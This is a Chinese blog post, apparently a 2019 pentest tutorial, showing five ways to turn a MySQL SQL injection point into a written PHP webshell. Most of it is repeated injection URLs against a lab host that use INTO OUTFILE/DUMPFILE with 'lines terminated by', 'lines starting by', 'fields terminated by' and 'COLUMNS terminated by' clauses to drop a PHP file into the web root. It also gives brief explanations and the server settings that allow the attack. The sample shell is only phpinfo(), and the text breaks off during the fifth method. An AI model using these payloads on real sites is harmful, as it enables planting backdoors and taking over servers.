MySQL注入点写WebShell的5种方式

发表于 2019年08月06日
webshell , 周边

目录表

SQL写WebShell条件

在mysql的配置文件 my.ini 中，secure_file_priv="c:/wamp64/tmp" 被注释或者 `secure_file_priv 配置的位置是web目录。
未开启全局gpc。

环境准备

存在SQL注入的URL，测试语句

http://172.16.55.130/work/sqli-1.php?id=1

1	http://172.16.55.130/work/sqli-1.php?id=1

SQL注入点写WebShell的5种方式

一、union select 后写入

最常见的写入方式，union select 后跟 into outfile 语句

http://172.16.55.130/work/sqli-1.php?id=@ union select 1,2,3,4,'<?php phpinfo() ?>' into outfile 'C:/wamp64/www/work/webshell.php'

http://172.16.55.130/work/sqli-1.php?id=@ union select 1,2,3,4,'<?php phpinfo() ?>' into dumpfile 'C:/wamp64/www/work/webshell.php'

http://172.16.55.130/work/sqli-1.php?id=@ union select 1,2,3,4,'<?php phpinfo() ?>' into outfile 'C:/wamp64/www/work/webshell.php'

http://172.16.55.130/work/sqli-1.php?id=@ union select 1,2,3,4,'<?php phpinfo() ?>' into dumpfile 'C:/wamp64/www/work/webshell.php'

注意：在windows下，位置的分隔符为 /（斜杠）。

二、lines terminated by 写入

注入点语句

http://172.16.55.130/work/sqli-1.php?id=1 into outfile 'C:/wamp64/www/work/webshell.php' lines terminated by '<?php phpinfo() ?>';

http://172.16.55.130/work/sqli-1.php?id=1 limit 1 into outfile 'C:/wamp64/www/work/webshell.php' lines terminated by '<?php phpinfo() ?>';

http://172.16.55.130/work/sqli-1.php?id=1 into outfile 'C:/wamp64/www/work/webshell.php' lines terminated by '<?php phpinfo() ?>';

http://172.16.55.130/work/sqli-1.php?id=1 limit 1 into outfile 'C:/wamp64/www/work/webshell.php' lines terminated by '<?php phpinfo() ?>';

执行语句后，页面显示内容

完整的Sql语句

select * from phpcmsv9.v9_admin_role where roleid = 1 into outfile 'C:/wamp64/www/work/webshell.php' lines terminated by '<?php phpinfo() ?>';

1	select * from phpcmsv9.v9_admin_role where roleid = 1 into outfile 'C:/wamp64/www/work/webshell.php' lines terminated by '<?php phpinfo() ?>';

Webshell显示

注入原理

通过select语句查询的内容写入文件，也就是 1 into outfile 'C:/wamp64/www/work/webshell.php' 这样写的原因，然后利用 lines terminated by 语句拼接webshell的内容。lines terminated by 可以理解为 以每行终止的位置添加 xx 内容。

三、lines starting by 写入

注入点语句

http://172.16.55.130/work/sqli-1.php?id=1 into outfile 'C:/wamp64/www/work/webshell.php' lines starting by '<?php phpinfo() ?>';

http://172.16.55.130/work/sqli-1.php?id=1 limit 1 into outfile 'C:/wamp64/www/work/webshell.php' lines starting by '<?php phpinfo() ?>';

http://172.16.55.130/work/sqli-1.php?id=1 into outfile 'C:/wamp64/www/work/webshell.php' lines starting by '<?php phpinfo() ?>';

http://172.16.55.130/work/sqli-1.php?id=1 limit 1 into outfile 'C:/wamp64/www/work/webshell.php' lines starting by '<?php phpinfo() ?>';

注入原理

利用 lines starting by 语句拼接webshell的内容。lines starting by 可以理解为 以每行开始的位置添加 xx 内容。

四、fields terminated by 写入

注入点语句

http://172.16.55.130/work/sqli-1.php?id=1 into outfile 'C:/wamp64/www/work/webshell.php' fields terminated by '<?php phpinfo() ?>';

http://172.16.55.130/work/sqli-1.php?id=1 limit 1 into outfile 'C:/wamp64/www/work/webshell.php' fields terminated by '<?php phpinfo() ?>';

http://172.16.55.130/work/sqli-1.php?id=1 into outfile 'C:/wamp64/www/work/webshell.php' fields terminated by '<?php phpinfo() ?>';

http://172.16.55.130/work/sqli-1.php?id=1 limit 1 into outfile 'C:/wamp64/www/work/webshell.php' fields terminated by '<?php phpinfo() ?>';

注入原理

利用 fields terminated by 语句拼接webshell的内容。fields terminated by 可以理解为 以每个字段的位置添加 xx 内容。

五、COLUMNS terminated by 写入

注入点语句

http://172.16.55.130/work/sqli-1.php?id=1 into outfile 'C:/wamp64/www/work/webshell.php' COLUMNS terminated by '<?php phpinfo() ?>';

http://172.16.55.130/work/sqli-1.php?id=1 limit 1 into outfile 'C:/wamp64/www/work/webshell.php' COLUMNS terminated by '<?php phpinfo() ?>';